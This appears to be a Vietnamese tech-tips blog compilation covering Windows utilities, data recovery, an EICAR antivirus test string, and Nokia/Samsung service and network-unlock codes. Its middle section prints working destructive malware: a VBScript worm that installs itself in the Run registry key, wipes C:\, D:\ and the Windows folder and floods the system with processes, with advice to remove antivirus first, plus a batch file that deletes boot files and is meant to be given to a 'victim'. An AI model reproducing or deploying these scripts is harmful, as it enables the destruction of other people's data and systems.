o Trên hộp thoại PictureViz Options bạn có thể tùy biến lại các tính năng: tốc độ trình diễn các tập tin hình ảnh (tính bằng giây), độ lớn của ảnh khi hiển thị trên giao diện WML, Use pictures in this folder: thư mụa chứa các hình ảnh sẽ trình diễn, Randomize Order: hiệu ứng  trình diễn ảnh ngẫu nhiên, ngoài ra nút công cụ MSN Photos cho phép kết nối vào hệ thống dịch vụ MSN trực tuyến của Microsoft để Upload chia hình ảnh…., xem hình 2.

Hình 2
o Nhấp OK để chấp nhận các xác lập.
o Xong rồi đấy vậy là bạn đã có thể thưởng thức Slideshows trên WMP của mình rồi.
(Lưu ý: hình chỉ trình diễn slideshow trong Now Playing, nếu bạn đang ở Library thì chuyển qua đó nhá, nếu bạn vẫn chưa thấy hình:
Click phải chuột chọn Visualizations - Picture Viz - Random)
Tải miễn phí Picture Viz với dung lượng 151KB tại địa chỉ dưới đây:
http://picture-viz-i/
Logo Xã Hội Thông Tin Online

Hyper Shutdown – tự động tắt PC theo thời gian quy định

Nhằm đảm bảo cho hệ điều hành hoạt động ổn định, Microsoft đã tích hợp sẵn vào hệ điều hành Windows các thao tác để tắt PC khi không còn sử dụng nữa. Trong một số trường hợp, có các bạn làm việc quá lâu hoặc vì lý do nào đó mà hay quên tắt PC thì việc ấn định thời gian tự động tắt PC là cần thiết, giúp tránh lãng phí điện, kéo dài tuổi thọ các thiết bị phần cứng …
Hyper Shutdown giúp ta tắt PC tự động theo mốc thời gian quy định, không cần đến menu Start.


Download về máy
Bạn có thể download Hyper Shutdown về dùng thử tại đây:
Hướng dẫn kỹ thuật:
 
i
 

Sửa chữa và phục hồi tập tin Zip bị hỏng

Như chúng ta đều biết zip là định dạng nén phổ biến nhất hiện nay. Hầu hết các dữ liệu chia sẻ trên mạng đều dùng định dạng này. Và chắc bạn đã không ít lần gặp trường hợp mất khá nhiều thời gian mới tải được tập tin đó về, nhưng khi giải nén để sử dụng thì nhận được thông báo lỗi to đùng.
Bực vì mất nhiều công sức nhưng bạn hãy khoan vội xóa đi mà có thể sử dụng tiện ích nhỏ gọn và miễn phí DiskInternals ZIP Repair. Thông qua tiện ích này bạn có thể dễ dàng khôi phục và trích xuất dữ liệu từ các tập tin nén zip bị lỗi khi bạn tải về.
Bạn có thể tải tiện ích này về sử dụng miễn phí tại đây.
DiskInternals ZIP Repair 1.0
DiskInternals ZIP Repair 1.0
Sau khi bạn tải chương trình về tiến hành cài đặt như bình thường. Sau đó kích hoạt chương trình từ biểu tượng trên Desktop để truy cập vào giao diện làm việc chính.

Từ giao diện chính bạn bấm nút Next, sang cửa sổ tiếp theo bạn bấm nút Browse trong khung Corrupted file để chọn tập tin nén bị lỗi cần sửa chữa và phục hồi. Mặc định khung Repaired file là tên và thư mục lưu tập tin sau khi chương trình sửa lỗi xong, tuy nhiên nếu không thích bạn bấm nút Browse để đặt tên và chọn thư mục lưu khác.

Sau đó bạn bấm nút Next>Next để chương trình tiến hành sửa chữa tập tin bị hỏng nữa là xong.
Tiện ích được DiskInternals cung cấp miễn phí cho Windows 2000 trở đi, kể cả Windows 7.
(theo ToThePC)

Tạo slideshow chuyên nghiệp

Bạn có  trong tay một album ảnh, nhưng đừng xem nó một cách đơn điệu nhàm chán như vậy. Tại sao không “chế tác” chúng thành một slideshow, thật chuyên nghiệp và hấp dẫn đúng không nào? Bạn không cần phải dùng bất kì phần mềm nào, chỉ cần truy cập vào http://www.photosnack.com/ để làm slideshow nhanh chóng và dễ dàng.
Đầu tiên, bấm My Account để đăng kí thành viên, có thể dễ dàng quản lí được các slideshow cũng như ảnh có trong các album.  Tại trang chủ, bấm Make a Slideshow.
photosnack
Bước 1: Chọn các kiểu slideshow đã được thiết kế sẵn. Bấm chọn một kiểu tùy thích, rồi site sẽ hiển thị một slideshow ví dụ để bạn xem về cách bố trí ảnh cũng như về thao tác chuyển ảnh. Nếu thấy ưng ý, bấm Choose để chọn kiểu slideshow này, nếu không bấm Close.
photosnack
Bước 2: Chuyển đến thao tác upload ảnh. Bấm Upload Photos, site chỉ hỗ trợ các định dạng file như jpf, jpeg, png, gif và giới hạn dung lượng của mỗi ảnh là 10MB. Sau khi upload xong, site hiển thị các ảnh với tên và dung lượng,. Bấm Remove nếu không muốn ảnh có trong slideshow. Bấm Edit Photos để đặt tên cho ảnh (tên ảnh trên máy tính không hiển thị trên slideshow), và viết lời miêu tả bức ảnh.
photosnack
Bước 3: Tại đây, bạn đã thấy ngay slideshow của mình. Tùy chỉnh như sau:
-         Album: Thay đổi màu nền (Background Color), Thêm anh (Add Image), Thêm logo (Personal Logo), vị trí đặt logo (Position)…
-         Navigation: Tùy chỉnh về chuyển động ảnh, nút điều khiển chuyển động trên slideshow, tốc độ chuyển ảnh,…
-         Change Size: Thay đổi kích thước ảnh theo các kích thước có sẵn trên site. Hoặc bấm Custom Size để nhập hai thông số kích thước của ảnh.
-         Change Template: Lúc này bạn có thể thay đổi kiểu slideshow tại đây.
Bước 4: Chia sẻ sllideshow. Bạn sẽ nhận được link của slideshow, và đoạn mã để chèn vào blog, hoặc chỉ cần bấm chọn các mạng xã hội là slideshow đã chèn vào ngay trên trang của bạn.
XHTTOnline

cách lấy lại dữ liệu nếu lỡ ghot nhầm

Bạn có thể dùng phần mềm Getdataback để cứu lại dữ liệu của bạn nhé. Bạn tải bản dùng cho ổ có định dạng NTFS tại:

Tải bản dùng cho định dạng FAT tại:

Hướng dẫn sử dụng:

Bạn chọn Start - Getdataback để gọi phần mềm này.


Trong màn hình bước 1, bạn chọn Next.


Bước 2, như màn hình trên, bạn chọn phân vùng đĩa cứng mà bạn bị mất dữ liệu. Nếu bạn không xác định được dữ liệu đã mất nằm ở phân vùng nào, bạn nên chọn với mục 1st hard drive xxx.


Bạn chọn Next


Trong bước 3, bạn nên chọn mục Search entire drive và chọn Next để phần mềm này sẽ tìm tất cả các dữ liệu của bạn trong phân vùng đã chọn.


Chọn Next.


Trong màn hình trên, bạn phải chờ cho đến khi phần mềm này hoàn thành bước 3 và tự động sang bước 4.


Trong bước 4 ở trên, bạn sẽ thấy các lựa chọn phục hồi. Để thuận lợi trong việc phục hồi các tập tin dữ liệu, ở bước 4, bạn nên chọn mục đầu tiên trong Found file systems.


Bạn chọn Next.


Bạn chờ cho phần mềm này làm việc đến bước 5 như màn hình sau:


Bạn kiếm dữ liệu của bạn trong phần Directory và Files.


Nếu có dữ liệu bạn muốn phục hồi, bạn nhấp bên phải chuột vào thư mục hoặc tập tin đó, chọn Copy to


Bạn chọn thư mục mà bạn cần lưu dữ liệu đã phục hồi được như màn hình trên.

Nếu trong bước 5, bạn không tìm thấy dữ liệu, bạn nhấp chuột vào nút Back để quay lại bước 4. Trong bước 4, bạn tiếp tục chọn các lựa chọn phục hồi khác và chọn Next để qua bước 5. Công việc trên tiếp tục cho đến khi bạn chép hết dữ liệu ra đĩa cứng hoặc đĩa mềm của bạn.

Lưu ý: bạn hãy tháo ổ bị mất dữ liệu ra và lắp vào máy khác để làm nhé. Và ở bước copy dữ liệu ra ngoài thì bạn copy sang ổ khác nhé.

Thứ Ba, 16 tháng 11, 2010

CÁch tẠo virus Ảo ĐỂ kiỂm tra chƯƠng trÌnh diỆt virus


Icon (30)CÁch tẠo virus Ảo ĐỂ kiỂm tra chƯƠng trÌnh diỆt virus

CÁCH TẠO VIRUS ẢO ĐỂ KIỂM TRA CHƯƠNG TRÌNH DIỆT VIRUS
không biết có ai post chưa ,mình mới sưu tầm được.

1.Mở notepad.
2.Dán đoạn mã này vào: X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
3.save lại với tên test.exe
4.nếu sau khi save mà chương trình báo có virus thì tốt, còn không thì chương trình đó tiêu rồi.

Cách tạo 1 virus đơn giản.

Thấy nhiều bạn có hứng thú với worm nên hôm nay mình post cho các bạn xem code của 1 con worm format HDD đơn giản = VB.
Lưu ý: Cái này chỉ dùng cho mục đích nghiên cứu, nghiêm cấm các hành vi phá hoại.
Các bạn lưu với đuôi .vbs là ok.

msgbox"Die roai !" 'Cai nay co tac dung se tao 1 hop thong bao tren man hinh cua nan nha
On Error Resume Next
Set vip_xinh = Createobject("scripting.filesystemobject")
vip_xinh.copyfile wscript.scriptfullname,vip_xinh.GetSpecialFolder(0)& "\ vip_xinh.vbs"
Set vip_xinh2= CreateObject("WScript.Shell")
vip_xinh2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\die","wscript.exe "& vip_xinh.GetSpecialFolder(0)& "\ vip_xinh.vbs %"

On Error Resume Next
Const vic = "D:\"
Delvic
Sub Delvic()
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile vic & "*.*" , True
fso.DeleteFolder vic & "*" , True
End Sub

On Error Resume Next
Const vic1 = "C:\windows\"
Delvic1
Sub Delvic1()
Dim fso1
Set fso1 = CreateObject("Scripting.FileSystemObject")
fso1.DeleteFile vic1 & "*.*" , True
fso1.DeleteFolder vic1 & "*" , True
End Sub

On Error Resume Next
Const vic2 = "C:\"
Delvic2
Sub Delvic2()
Dim fso2
Set fso2 = CreateObject("Scripting.FileSystemObject")
fso2.DeleteFile vic2 & "*.*" , True
fso2.DeleteFolder vic2 & "*" , True
End Sub

On Error Resume Next
Set treomay= CreateObject("WScript.Shell")
Do
treomay.run "notepad",false
loop


Trước tiên bạn remove các phần mềm diệt virus và lưu nó với đuôi .vbs
Sau khi run, hiện tượng sẽ đc xảy ra. Cách cứu ổ cứng lúc đó là nhanh chóng rút điện nguồn.
Sau khi vào lại win (Có thể phải cài lại) Bạn vào thư mục C://Windows/ và xóa file vipxinh.vbs đi, à mà đã cài lại win thì cần quái gì xóa nữa nhỉ? Cái này ban đầu mình tưởng là hok bị Antivirus phát hiện (vì file dạng txt) nhưng thực ra nó vẫn bị phát hiện nên bạn phải remove các phần mềm diệt virus đi còn với chú BKAV thì vô tư.

Default Cách tạo 1 con virus đơn giản!!!

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini



save lại dưới dạng karobi.bat
dụ Victim mở nó lên và... (có chiện liền )
tác dụng của con này là: xóa hết các file khởi động của hệ thống
cách khắc phục: wa máy khác copy file autoexec.bat, boot.ini, ntldr, win.nin và dán vào ổ C, riêng file win.nin thì cho vào ổ C:\Windows\

con này dể tham khảo chứ đừng đem đi phá nghe. chống chỉ định zới người hay đi phá

Mã bí mật, kiểm tra tình trạng khóa máy(lock) và tự mình mở khóa (unlock)

Mã bí mật, kiểm tra tình trạng khóa máy(lock) và tự mình mở khóa (unlock) 
  1. Các mã số bí mật của máy Nokia:

*efr0# (*3370#)
Kích hoạt chế độ EFR (Enhanced Full Rate codec), cho chất lượng âm thoại tốt hơn, đồng nghĩa với việc tốn pin hơn trong khi đàm thoại (thời gian đàm thoại của pin sẽ giảm từ 5% - 10%). Máy Nokia sẽ khởi động lại để chế độ này có hiệu lực.
#efr0# (#3370#)
Không dùng chế độ EFR. Phải khởi động lại.

*hrc0# (*4720#)
Kích hoạt chế độ HRC (Half Rate Codec), chất lượng âm thoại sẽ kém hơn bình thường, bù lại sẽ đỡ tốn pin hơn trong khi đàm thoại (thời gian đàm thoại của pin sẽ tăng khoảng 30%). Phải sẽ khởi động lại.
#hrc0# (#4720#)
Không dùng chế độ HRC. Phải khởi động lại.

*#0000#
Xem thông tin về phần mềm (firmware) của máy. Thông tin gồm 3 dòng.
+ Phiên bản (version).
+ Ngày sản xuất.
+ Tên của phần mềm (chẳng hạn như NHL-6 đối với máy Nokia 6800).

*#srn0# (*#7760#)
Xem số xê-ri của sản phẩm (PSN).

*#war0anty# (*#92702689#)
Xem các thông tin bảo hành của máy. Thông tin này bao gồm năm hoặc sáu menu, tùy theo từng loại máy.

+ 1 (Serial Number): Số IMEI (International Mobile station Equipment Identity) của máy.
+ 2 (Made): Ngày máy được xuất xưởng.
+ 3 (Purchasing Date): Ngày mua máy. Lưu ý: bạn có thể nhập ngày mua máy vào bằng cách chọn menu Edit, nhưng chỉ nhập vào được một lần thôi và không thể sửa được.
+ 4 (Repaired): Ngày sửa máy lần sau cùng. Thông tin này do nơi bảo hành nhập vào mỗi khi bạn mang máy đến hãng để bảo hành hoặc sửa chữa.
+ 5 (Transfer User Data): Chuyển toàn bộ các thông tin được lưu trong máy sang máy tính để lưu trữ trước khi tiến hành sửa chữa máy hoặc nạp lại phần mềm. Các máy Nokia đời mới không có menu này do có thể dùng phần mềm Nokia PC Suite (trong đĩa CD kèm theo) để sao lưu dữ liệu của máy.
+ 6 (Life Timer): Tổng số thời gian thực hiện cuộc gọi (đến và đi) của máy, được ghi dưới dạng <giờ>phút>. Thông tin Life Timer sẽ bằng chính thông tin All Calls’ Duration trong menu Call Register -> Call Duration, nếu bạn chưa chọn Clear Timers để xóa bộ đếm thời gian cuộc gọi kể từ lúc mua máy. Tuy nhiên, khác với thông tin All Calls’ Duration có thể xóa được nếu biết mật mã của máy (security code, mặc định khi xuất xưởng là 12345), người dùng bình thường không thể xóa được Life Timer, và đây chính là thông số để bạn có thể nhận biết máy đã được dùng nhiều hay ít. Một số máy Nokia đời cũ không có menu này.
Để thoát khỏi màn hình các thông tin bảo hành này, phải khởi động lại máy.

*#sim0clock# (*#746025625#)
Kiểm tra xem thẻ SIM (Subscriber Identity Module) của bạn có hỗ trợ tính năng clock-stop hay không. SIM clock-stop là tính năng cho phép máy di động chuyển sang chế độ chờ khi cần thiết để tiết kiệm pin. Một số loại máy Nokia không hỗ trợ mã này.

*#rst0# (*#7780#)
Khôi phục các cài đặt mặc định của máy khi xuất xưởng (cũng có thể truy cập chức năng này thông qua menu Settings -> Restore factory settings), đòi hỏi phải nhập mật mã của máy.

*#res0wallet# (*#7370925538#)
Một số máy Nokia cho phép lưu trữ các thông tin cá nhân một cách bí mật gọi là wallet, các thông tin đó được bảo vệ bằng mật khẩu riêng, gọi là wallet code. Chức năng này cho phép xóa toàn bộ các thông tin lưu trữ trong wallet cũng như wallet code mà không cần phải biết wallet code, chỉ cần biết mật mã của máy.

*#opr0logo# (*#67705646#)
Cho phép xóa logo của nhà cung cấp dịch vụ (operator logo) trên màn hình của máy Nokia, màn hình sẽ hiển thị tên mạng mặc định. Chức năng này chỉ làm việc với các loại máy Nokia màn hình đen trắng. Đối với máy Nokia màn hình màu, xóa logo bằng cách truy cập vào menu Settings -> Display settings -> Operator logo -> Off.

*#pca0# (*#7220#)
Kích hoạt chế độ PCCCH, màn hình sẽ hiển thị “PCCCH support enabled”. Máy sẽ tự khởi động lại để thay đổi này có hiệu lực. PCCCH (Packet Common Control Channel) là một khái niệm chỉ có ở các máy có tính năng GPRS, cho phép thời gian chờ ngắn hơn khi thuê bao truy cập GPRS. Tuy nhiên để dùng được tính năng này, mạng di động cũng phải hỗ trợ chế độ PCCCH.

*#pcd0# (*#7230#)
Không dùng chế độ PCCCH. Màn hình sẽ hiển thị “PCCCH support disabled”. Máy sẽ tự khởi động lại.
xxx#
Xem số thuê bao nào được lưu ở vị trí xxx trong SIM card (xxx có giá trị từ 1 đến 250 đối với các SIM card lưu được 250 số điện thoại). Chẳng hạn như để xem số thuê bao nào được lưu ở vị trí số 15 trong SIM card, ta phải nhập vào 15#.

*#06#
Xem số IMEI của máy. Đây là mã chuẩn của GSM nên có thể dùng cho các loại máy của các hãng khác.

Bài viết này có đề cập đến một số khái niệm trong mạng thông tin di động (như EFR, HRC, PCCCH, GPRS, IMEI, IMSI, MCC, MNC, GID1, GID2 )

Hiển thị tên:
Vào menu Profiles, chọn một profile bất kỳ khác với General, chọn Personalise -> Profile name, gõ vào tên của bạn, sau đó chọn activate để kích hoạt profile này, tên của bạn sẽ hiển thị trên màn hình. Với các máy Nokia có phần mềm tiếng Việt, bạn có thể nhập tên của mình với đầy đủ dấu.
Hiển thị số điện thoại:
Vào menu Call register -> Call costs -> Call cost settings -> Show costs in -> Currency. Chọn Unit price là 1, Currency name nhập mã mạng di động đang dùng (thí dụ 090 đối với MobiFone). Sau đó vào Call cost limit, chọn On, nhập vào giá trị Limit bằng chính số điện thoại của bạn (thí dụ 3599995). Thoát về màn hình chờ sẽ thấy số điện thoại của bạn hiển thị trên màn hình.

2.Kiểm tra tình trạng khóa máy và mở khóa (unlock) cho máy Nokia:
Các mạng di động nước ngoài thường có chính sách bán máy với giá rất rẻ, thậm chí miễn phí máy đầu cuối đối với các thuê bao hòa mạng của họ. Nhưng ngược lại, máy đó không thể đem dùng ở các mạng di động khác. Để làm được điều đó, các máy di động phải hỗ trợ một số chức năng khóa máy, tức là không cho phép sử dụng điện thoại với các mạng khác hoặc dùng với SIM khác. Đối với điện thoại di động Nokia, có bốn loại khóa máy sau đây:
+ Loại 1: MCC+MNC (Mobile Country Code + Mobile Network Code) lock. Chỉ cho phép sử dụng máy với một mạng di động cho trước.
+ Loại 2: GID1 (Group Identifier level 1) lock. Chỉ cho phép sử dụng máy với một nhóm SIM nhất định.
+ Loại 3: GID2 (Group Identifier level 2) lock. Chỉ cho phép sử dụng máy với một chủng loại SIM nhất định.
+ Loại 4: IMSI (International Mobile Subscriber Identity) lock. Chỉ cho phép sử dụng máy di động với một SIM cho trước.
Để kiểm tra xem máy bạn có bị khóa loại nào không, ta dùng các mã số sau:
Loại 1: #pw+1234567890+1#
Loại 2: #pw+1234567890+2#
Loại 3: #pw+1234567890+3#
Loại 4: #pw+1234567890+4#
Cách nhập các chuỗi mã trên vào máy di động như sau: các ký tự “#” và “0”-“9” nhập từ bàn phím như thông thường. Để có ký tự “+” ấn phím “*” 2 lần, ký tự “p” ấn phím “*” 3 lần, ký tự “w” ấn phím “*” 4 lần.
Nếu máy hiển thị kết quả là "SIM was not restricted" có nghĩa là máy của bạn không bị khóa. Còn nếu kết quả là "Code error" thì máy đã bị khóa với một loại khóa tương ứng, điều đó nghĩa là có thể không dùng được máy đó với một SIM khác hoặc với một mạng di động khác.
Nếu máy bị khóa, ta có thể dùng một trong các mã số sau để mở khóa cho từng loại tương ứng. Khi nhập nhớ tháo thẻ SIM ra khỏi máy. Có bảy loại mã để mở khóa như sau:
Mã 1: #pw+xxxxxxxxxxxxxxx+1#, mở khóa loại 1 (MCC+MNC lock).
Mã 2: #pw+xxxxxxxxxxxxxxx+2#, mở khóa loại 2 (GID1 lock).
Mã 3: #pw+xxxxxxxxxxxxxxx+3#, mở khóa loại 3 (GID2 lock).
Mã 4: #pw+xxxxxxxxxxxxxxx+4#, mở khóa loại 4 (IMSI lock).
Mã 5: #pw+xxxxxxxxxxxxxxx+5#, mở khóa loại 1 và 2.
Mã 6: #pw+xxxxxxxxxxxxxxx+6#, mở khóa loại 1, 2 và 3.
Mã 7: #pw+xxxxxxxxxxxxxxx+7#, mở khóa loại 1, 2, 3 và 4.

Các chuỗi số xxxxxxxxxxxxxxx (bao gồm 15 chữ số) được tạo ra bằng các chương trình gọi là DCT4 Calculator. Trên Internet, bạn có thể tìm thấy rất nhiều chương trình loại này

Note: các bạn có thể vào trang http://www.unlockme.co.uk để cập nhật phần mềm DCT4 Calculator hoặc tải tại file đính kèm và có thể xem thêm hướng dẫn cách unlock bằng tiếng anh ngay trong trang web ở trên

Hãy nhập vào số IMEI của máy và chọn mạng mà máy bị khóa vào, chương trình sẽ tính toán ra các chuỗi số tương ứng cho bạn. Chẳng hạn, nếu máy Nokia của bạn được mua từ châu Âu và chỉ được phép sử dụng với mạng Vodafone ở Anh, trong chương trình DCT4 Calculator, bạn hãy chọn Operator là Vodafone United Kingdom. Số IMEI có thể xem ở sau thân máy hoặc bấm *#06# để xem.
Lưu ý quan trọng: Tất cả các mã số trên, kể cả các mã số dùng để kiểm tra trạng thái khóa máy, khi nhập vào nếu kết quả trả về là "Code error" thì bạn chỉ có thể nhập tối đa 5 lần. Nếu nhập nhiều hơn thì máy có thể bị khóa vĩnh viễn, khi đó chỉ có thể mở khóa được bằng cách kết nối với cáp cùng với các thiết bị phần cứng và phần mềm chuyên dụng. Hãy cẩn thận khi dùng các mã số trên.
Bài viết này có đề cập đến một số khái niệm trong mạng thông tin di động (như IMEI, IMSI, MCC, MNC, GID1, GID2 ...).

Thông tin này các bạn tham khảo và chưa được kiểm chứng độ chính xác về mã số nơi sản xuất. Số IMEI gồm 15 số và được tách ra 5 cụm số như sau:

12 3456 78 901234 5
-12 = Manufacturer
+52 = Ericsson
+44 = Motorola
+49 = Nokia
-3456 = Type Approval Code
+0518-0523 = 6110
+3002 = 6150
-78 = Final Assembly Code
+07 = Germany
+10 = Finland (all Nokia phones)
+40 = UK
+67 = USA
+80 = China
+81 = China
-901234 = Serial Number
-5 = Spare


YY (FAC) Nước xuất xứ


06
France

07, 08, 20
Germany

10, 70, 91
Finland

18
Singapore

19, 40, 41, 44
UK

30
Korea

67
USA

71
Malaysia

80, 81
China


IMEI là viết tắt của International Mobile Equipment Identity (Mã số nhận dạng quốc tế cho thiết bị di động)
IMEI là một dãy mã số bao gồm 15 chữ số, được sử dụng để mạng di động nhận diện điện thoại cá nhân. Số IMEI có thể xem được trên hầu hết tất cả các laọi điện thoại di động GSM bằng cách bấm *#06#. Nó thường được in trên tem dán đằng sau máy. Định dạng thông thường của số IMEI là: 111111-22-333333-4. Định dạng này sẽ hiệu lực đến 01/04/2004.
TAC FAC SNR CD
D14 D13 D12 D11 D10 D09 D08 D07 D06 D05 D04 D03 D02 D01
• TAC: type approval code (Mã hiệu chuẩn)
• FAC : final assembly code (Mã sản xuất, chế tạo)
• SNR: serial number (Số serial)
• CD: check digit (Số kiểm tra)
TAC được tạo thành bởi sáu số đầu tiên của dãy số IMEI. Mã này dùng để nhận diện quốc gia cấp hiệu chuẩn cho điện thoại. CHÚ Ý: từ 01/04/2004 TAC sẽ được rút gọn thành mã vùng phân phối (Type Allocation Code)
FAC (Final Assembly Code) là mã nhận diện công ty sản xuất điện thoại di động (VD: nokia, Samsung, SonyEricsson...). CHÚ Ý: từ 1 tháng 1 năm 2003 dãy số IMEI đã được sắp xếp lại. Sự sắp xếp này thay đổi định dạng truyền thống của số IMEI; mã FAC sẽ được đặt về 00 trong khoảng thời gian từ 01/01/2003 đến 01/04/2004. Sau đó FAC sẽ bị loại bỏ và TAC sẽ bao gồm 8 chữ số thay vì 6 như trước đây. Định dạng mới sẽ là 11111111-222222-3
TAC SNR CD
D14 D13 D12 D11 D10 D09 D08 D07 D06 D05 D04 D03 D02 D01
SRN (Serial Number) là một dãy số gồm sáu chữ số, nó là duy nhất và được gán cho một máy cụ thể. CD (Check Digit) thường được sử dụng để kiểm tra tính hợp lệ của số IMEI cho các thiết bị Phase 2 và Phase 2+. Phase 1 GSM handsets, thường có số sau cùng là không (0).
Hiện tại số IMEISV hay được sử dụng. Nó thêm vào sau số IMEI thông thường 02 số nữa, biểu thị phiên bản phần mềm chuẩn đi kèm theo máy. Như vậy định dạng của số IMEISV sẽ là 111111-22-333333-4-55. Sau ngày 01/04/2004 định dạng này sẽ là; 11111111-222222-3-44.

1. Khóa Sim
- Khóa Sim là khóa tại Simcard nhằm mục đích bảo vệ tài khoản của chủ thuê bao, khi khóa Sim thì máy di động vẫn có thể hoạt động được khi lắp Sim khác vào máy.
- Sim là vi mạch nhớ có dung lượng nhớ nhỏ. Có 2 loại Sim , Sim 3 V, Sim 5 V, để khoá Sim dùng mã Pin: 4 số mặc định là “1234”
Ví dụ” Màn hình hiện “ENTER PIN” ta bấm “1234”. Nếu không được mà bấm sai 3 lần thì sẽ chuyển sang mã khoá PUK. Mã PUK do Bưu điện quản lý gồm 8 số không có mặc định. Ví dụ: Màn xuất hiện Enter PUK:
Ta gọi: 145 mạng MOBILE PHONE
151 mạng VINA PHONE
198 mạng Viettel
Hỏi mã PUK và mã Pin mới của Sim. Sau đó vào lần lượt 8 số PUK -> Máy sẽ hỏi mã PIN, ta vào 2 lần mã Pin là được. Sau đó phải vào phần MENU sử dụng để chuyển khoá SIM về trạng thái “OFF”.

2. Khoá máy:- Khóa máy là khóa tại máy di động, khi không muốn người khác can thiệp vào máy của mình, khi khóa máy thì máy di động sẽ không nhận bất cứ một Sim nào cả.
- SAM SUNG: Trên màn hiện:
ENTER PASS WORD CODE (tiếng việt là “vào mã bảo vệ”).
Mặc định là 0000 -> OK
Nếu không được bấm lệnh: (Chú ý tháo Sim)
* 2767 * 2878 #
* 2767*3855#
*2767*688#
Máy đời cao (phải dùng máy tính để Unlock)
- NOKIA: màn hình hiện
ENTER SECURITY CODE (tiếng việt là “vào mã bảo vệ”).
Mặc định là (12345) -> OK
- Máy đời cao màn hình hiện “Hạn chế điện thoại”
Nếu sai: Phải dùng USF3 hoặc Grrifin là thiết bị chuyên dùng để nạp phần mềm và bẻ khóa cho di động.
- MOROTOLA: màn hình hiện “ENTER PHONE CODE”
Mặc định là (1234)-> OK
Nếu sai: (Màn hình hiện Wrong Code)
- Từ V8088 trỏ xuống bấm Menu -> OK -> bấm "000000”. Màn hình sẽ hiện mã PHONE CODE.Nếu không được phải dùng thẻ TEST
Với các máy đời cao: Dùng máy tính sử dụng phần mềm UNLOCK để bẻ khoá, hiện nay hay dùng nhất là hộp SMARTCLIP
- SIEMENS : Không mặc định => Bẻ bằng máy tính
- Chuyển tiếng Anh thì bấm *# 0001# Bấm Send
- ERICSSON: “ENTER PHONE CODE”
Mặc định: “0000”. Nếu không được thỉ bẻ bằng máy tính (rất đơn giản).

3. Khóa mạng:- Khóa mạng là máy vẫn dùng ở tốt ở nước ngoài còn về Việt Nam thì không dùng được
- Nếu máy là loại đơn băng tần chỉ sử dụng một băng tần 1800 hoặc 1900 thì không mở khóa mạng được.
- Nếu máy đa băng tần tức là có thể sử dung cả “900 và 1800” hoặc “900 – 1800 – 1900” thì có thể bẻ khóa mạng được.
- Các chữ báo khoá mạng khi lắp SIM
- SIM LOCK (Sam Sung)
- ENTER SPECIAL CODE (MOTOROLA)
- SIM CARD NOT REJECTER (Nokia)
- INVALID SIM CARD (nokia cũ)
- NET WORK LOCK (Siemens)
- INSERT CORRET CARD (Ericsson)
* Bẻ khoá máy, khóa mạng:- Để bẻ khóa máy hoặc khóa mạng ngoài dùng lệnh đặc biệt ta phải dùng những thiết bị chuyên dụng để nạp một phần mềm mới, hoặc dùng phần mềm Unlocked để Reset máy vể trạng thái xuất xưởng.
- Dòng máy Băng tần 850 MHz ngoài việc unlock bằng máy tính, phải can thiệp thêm phần cứng .
* Đặc tả mạng di động GSM
+ 800MHz : mạng IDEN, do Motorla và Nortel phát triển, sử dụng những Cell nhỏ ít thuê bao.
+ 850MHz : Thường dùng ở Bắc Mỹ (Cingular)
+ 900MHz :GSM900, và EGSM900 thương dùng ở châu Á hoặc châu Âu
+ 1800MHz: Mang DCS1800 thường dùng ở châu Á hoặc châu Âu
+ 1900MHz: Mạng PCS1900 thường dùng ở Bắc Mỹ ( T-Mobile)

4 . Cách xem IMEI + Version:- Xem IMEI:
Bấm * # 06#.,riêng Nokia có IMEI gốc * # 9270 2689 #
- XemVer sion: là phiên bản của phần mềm, phiên bản càng cao thì sửa lỗi càng tốt:
Nokia : * # 0000 #
Sam sung : * # 9999 # (version của máy Samsung là số tự nhiên, càng cuối bảng chữ cái thì version càng cao).
Siemens : * # 06 # Bấm nút trên
Ericsson : * ¯ * ¯ *
Motorola: Từ dòng T 190-191 –198. T2688-2988 Bấm lệnh “ #300# OK
Từ dòng V -> lên dùng thẻ hoặc máy tính
Một số mã lệnh reset… khắc phục lỗi máy di động
Mã lệnh của Samsung:
- Mã lệnh dùng để reset EEPROM máy SamSung, có thể khắc phục được tình trang treo máy, có sóng nhưng không gọi được, trắng màn hình, khóa máy …
* 2767 * 2878 #
* 2767*3855#
*2767*688#
- Mã lệnh chỉnh contrast màn hình như sau:
*#0523# dùng phím </> để chỉnh , chú ý bỏ sim
-Chỉnh contrast X495: “*#8999*523# hoặc *#8999*8378#”
- Kiểm tra thông số hoạt động của Pin *#9998*228#
- Kiểm tra chế độ rung *#9998*842#
Mã lệnh của NOKIA
- Xem IMEI *#06# hoặc *#92702689#
- Xem phiên bản phần mềm *#0000#
- Reset máy đời thấp *3370#
- Nếu gặp máy Nokia đời cao bị treo máy, hoặc vào các chương trình ứng dụng không được ta có thể dùng lệnh sau “*#7370# hoặc *#7780# , nhập mã code 12345 >ok”, mã số này sẽ khôi phục cài đặt mặc định của nhà sản xuất khi xuất xưởng.
- Hoặc Format máy bằng cách bấm đồng thời 4 nút
“ Power + phím gọi mầu xanh + * + số 3” , giữ vài giây đến khi màn hình hiện Formating thì bỏ tay ra, máy di động sẽ tự format về trạng thái xuất xưởng, chú ý pin phải đầy , cách này rất hiệu quả.

Mã lệnh SonyEricsson- Format Smartphone ( P800, P900, P910…), dùng phím “Jogdial” là nút cuộn menu phía bên trái, Jogdial UP là cuộn lên, jogdial Down là cuộn xuống.
+ Jogdial UP
+ Bấm phím *
+ Jogdial down
+ Jogdial down
+ Bấm phím *
+ Jogdial down
+ Jogdial down
Lúc đó sẽ hiện lên Menu Format, chọn Format, nhập mã Password 0000
- Dòng máy này có thể xem được ngày sản xuất bằng cách xem ở tem dòng chữ có dạng xxWyy, trong đó xx là năm sản xuất yy là tuần của năm đó, ví dụ máy có dòng chữ 03W06 có nghĩa máy sản xuất vào tuần thứ 6 năm 2003, tức là giữa tháng 2 năm 2003

Mã lệnh Siemens- Xem Imei *#06#
- Kiểm tra phiên bản phần mềm , bỏ Sim bấm *#06# giữ phím dài bên trái
- Chuyển về tiếng Anh *#0001# bấm nút “SEND”

5 . Các bí mật trên PocketPC
